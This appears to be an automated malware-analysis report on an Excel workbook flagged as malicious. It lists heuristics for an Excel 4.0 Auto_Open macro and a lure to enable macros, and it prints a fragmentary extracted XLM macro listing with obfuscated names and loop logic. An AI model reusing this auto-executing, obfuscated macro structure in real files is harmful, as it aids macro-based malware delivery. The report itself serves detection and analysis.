MALICIOUS
160
Risk Score
Heuristics 4
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
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Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 3450 bytes |
SHA-256: 5e97712bb202275471cb9b532b05bee48973a8d2517797ada340da7fd02ab8ad |
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Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - nfqgfWzHS
' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet!A89
' 0018 26 LABEL : Cell Value, String Constant - cbYkXMTv len=3 ptgInt 0
' 0018 120 LABEL : Cell Value, String Constant - cVVl len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\t\x00\x00\x00\x00\x00'
' 0018 28 LABEL : Cell Value, String Constant - EhzRvE len=7 ptgRef3d nfqgfWzHS!C54
' 0018 29 LABEL : Cell Value, String Constant - eoOzLTg len=7 ptgRef3d nfqgfWzHS!B46
' 0018 29 LABEL : Cell Value, String Constant - FfwTUhk len=7 ptgRef3d nfqgfWzHS!F53
' 0018 25 LABEL : Cell Value, String Constant - fIxcDRC len=3 ptgInt 0
' 0018 30 LABEL : Cell Value, String Constant - FwgMmyur len=7 ptgRef3d nfqgfWzHS!G57
' 0018 30 LABEL : Cell Value, String Constant - HjnLXWri len=7 ptgRef3d nfqgfWzHS!H48
' 0018 22 LABEL : Cell Value, String Constant - lKcu len=3 ptgInt 0
' 0018 30 LABEL : Cell Value, String Constant - lPqwbKuN len=7 ptgRef3d nfqgfWzHS!A47
' 0018 27 LABEL : Cell Value, String Constant - megcH len=7 ptgRef3d nfqgfWzHS!D47
' 0018 29 LABEL : Cell Value, String Constant - MObBtlz len=7 ptgRef3d nfqgfWzHS!I53
' 0018 28 LABEL : Cell Value, String Constant - QKzADK len=7 ptgRef3d nfqgfWzHS!E51
' 0018 558 LABEL : Cell Value, String Constant - qweVXu len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x11\x00\x00\x00\x00\x00'
' 0018 2082 LABEL : Cell Value, String Constant - SbIjgv len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00%\x00\x00\x00\x00\x00'
' 0018 24 LABEL : Cell Value, String Constant - sbkHsg len=3 ptgInt 0
' 0018 29 LABEL : Cell Value, String Constant - WKAOJvG len=7 ptgRef3d Sheet!A40
' 0018 26 LABEL : Cell Value, String Constant - xjWL len=7 ptgRef3d nfqgfWzHS!J55
' 0018 22 LABEL : Cell Value, String Constant - zKCkzPL len=0
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
' Sheet,B45,"ABC",""
' Sheet,A46,"ABC",""
' Sheet,B46,ROWS(cVVl),""
' Sheet,D46,"ABC",""
' Sheet,A47,ROWS(qweVXu),""
' Sheet,D47,[],""
' Sheet,H47,"ABC",""
' Sheet,H48,[],""
' Sheet,E50,"ABC",""
' Sheet,E51,[],""
' Sheet,F52,"ABC",""
' Sheet,I52,"ABC",""
' Sheet,C53,"ABC",""
' Sheet,F53,[],""
' Sheet,I53,[],""
' Sheet,C54,qweVXu,""
' Sheet,J54,"ABC",""
' Sheet,J55,[],""
' Sheet,G56,"ABC",""
' Sheet,G57,cVVl,""
' nfqgfWzHS,A43,"A"&"B",""
' nfqgfWzHS,A44,[],""
' nfqgfWzHS,A48,"SET.VALUE(A73,"")",""
' nfqgfWzHS,A53,"lKcu",""
' nfqgfWzHS,A56,"DEFINE.NAME("cbYkXMTv",0)",""
' nfqgfWzHS,A60,[],""
' nfqgfWzHS,A63,"cbYkXMTv",""
' nfqgfWzHS,A65,"['A73', 'A73']",""
' nfqgfWzHS,A67,"fIxcDRC",""
' nfqgfWzHS,A71,NEXT(),""
' nfqgfWzHS,A77,"['A73', '"nfqgfWzHSr!R"']",""
' nfqgfWzHS,A81,"zKCkzPL",""
' nfqgfWzHS,A83,NEXT(),""
' nfqgfWzHS,A86,RETURN(),""
' nfqgfWzHS,A93,"DEFINE.NAME("zKCkzPL",101)",""
' nfqgfWzHS,A100,WKAOJvG(),""
' nfqgfWzHS,A101,HALT(),""
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